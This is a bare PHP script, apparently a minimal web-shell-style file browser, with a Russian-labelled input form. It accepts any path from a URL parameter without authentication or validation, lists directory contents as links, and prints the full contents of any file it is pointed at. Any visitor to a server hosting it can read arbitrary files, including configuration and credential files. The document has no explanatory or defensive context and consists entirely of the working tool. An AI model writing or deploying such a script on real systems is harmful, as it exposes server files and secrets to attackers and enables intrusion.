<form method="get"> Введите адрес :<input type="text" name="path"> <input type="submit" value="Enter"></form> <? $do=$_GET['path']; if($do=="./") $do .= "/"; if(!isset($do) or $do=='') $do=getcwd(); if(is_dir($do)) { chdir($do); $od=opendir($do); while($rd=readdir($od)) { print "<br><a href=\"?path=".getcwd()."\\$rd\">$rd</a>"; } closedir($od); } if(is_file($do)) { print '<textarea cols=100 rows=20>'; print htmlspecialchars(file_get_contents($do)); print '</textarea>'; } ?>